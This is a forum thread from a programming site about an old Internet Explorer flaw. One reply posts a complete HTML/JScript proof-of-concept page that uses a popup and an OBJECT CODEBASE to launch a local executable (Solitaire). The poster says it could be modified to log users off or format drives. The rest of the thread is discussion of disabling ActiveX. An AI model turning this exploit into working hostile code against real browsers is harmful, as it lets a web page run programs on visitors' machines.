Thread: Microsoft does it again

  1. #1
    left crog... back when? incognito's Avatar
    Join Date
    Oct 2001
    Posts
    1,427
    There are some real morons in this world please do not become one of them, do not become a victim of moronitis. PROGRAMMING IS THE FUTURE...THE FUTURE IS NOW!!!!!!!!!

    "...The only real game I thank in the world is baseball..." --Babe Ruth

    "Life is beautiful"-Don Corleone right before he died.

    "The expert on anything was once a beginner" -Baseball poster I own.


    Left cprog on 1-3-2005. Don't know when I am coming back. Thanks to those who helped me over the years.

  2. #2
    the hat of redundancy hat nvoigt's Avatar
    Join Date
    Aug 2001
    Location
    Hannover, Germany
    Posts
    3,130
    "people who limited their browsing to trusted sites would be safe as would people who had installed one of the software giant's patches for its e-mail clients. "

    Which is mandatory. No patches, no security.

    "Larholm recommended that users disable ActiveX in the security settings for Internet Explorer"

    LMAO. I mean... ActiveX means anyone can run any program he chooses on my PC. If you have ActiveX turned on, you don't need to worry about bug abuse... you gave all of the world permission to ruin your PC at will anyway.
    hth
    -nv

    She was so Blonde, she spent 20 minutes looking at the orange juice can because it said "Concentrate."

    When in doubt, read the FAQ.
    Then ask a smart question.

  3. #3
    Code Monkey Davros's Avatar
    Join Date
    Jun 2002
    Posts
    812
    On my IE, virtually everything is disabled, including cookies, Java, and InActiveX thingies.

    If a site requires me to enable Java or InActiveX or jump through some other hoop, I usually avoid it, unless I know that I really want the information on it...

    In which case I use Opera, which is configured to be more relaxed.

    Maybe I'm just paranoid.
    OS: Windows XP
    Compilers: MinGW (Code::Blocks), BCB 5

    BigAngryDog.com

  4. #4
    Registered User Dual-Catfish's Avatar
    Join Date
    Sep 2001
    Posts
    802
    I think it's talking about this flaw:

    Code:
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <HTML>
    <HEAD>
    <TITLE>IE6 security...</TITLE>
    <META http-equiv=Content-Type content="text/html; charset=windows-1252">
    <SCRIPT language=JScript>
    
    var programName = new Array(
    
    			'c:/windows/system32/sol.exe',
    			'c:/winxp/system32/sol.exe',
    			'c:/winnt/system32/sol.exe'
    
    			);
    function Init() 
    {
    	var oPopup = window.createPopup();
    	var oPopBody = oPopup.document.body;
    	var n, html='';
    
    	for(n = 0; n < programName.length; n++)
    	html += "<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111111' CODEBASE='"+ programName[n]+"' %1='r'></OBJECT>";
    	oPopBody.innerHTML = html;
    	oPopup.show(290, 390, 200, 200, document.body);
    }
    </SCRIPT>
    </head>
    <BODY >
    You should feel lucky if your computer doesn't get reformatted right now. 
    </BODY>
    </HTML>
    I commented out a line so it doesn't work...

  5. #5
    Much older and wiser Fountain's Avatar
    Join Date
    Dec 2001
    Location
    Engeeeerland
    Posts
    1,158
    Where did that code come from? Enlighten me please! Ans it is BAD, right?
    Such is life.

  6. #6
    Registered User Dual-Catfish's Avatar
    Join Date
    Sep 2001
    Posts
    802
    That? No, it's harmless. Also, it doesn't work because I removed a line. It WOULD open solitare Although, with a simple modification it could log you off, delete stuff, format and whatnot.

    I forget exactly where I got it, but I remember it was set to log you off, so I telnetted to the website and downloaded the html. It looked harmless to me, the extension was .jpg but the browser still interpreted it as HTML.

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Problem building Quake source
    By Silvercord in forum Game Programming
    Replies: 16
    Last Post: 07-11-2010, 09:13 AM
  2. Apps that act "differently" in XP SP2
    By Stan100 in forum Tech Board
    Replies: 6
    Last Post: 08-16-2004, 10:38 PM
  3. Another Microsoft joke
    By Panopticon in forum A Brief History of Cprogramming.com
    Replies: 9
    Last Post: 02-02-2003, 12:53 PM
  4. Microsoft rulling
    By Sentaku senshi in forum A Brief History of Cprogramming.com
    Replies: 1
    Last Post: 11-02-2002, 03:50 AM
  5. Retaliation towards witch king\microsoft
    By Koshare in forum Linux Programming
    Replies: 7
    Last Post: 10-19-2001, 04:54 AM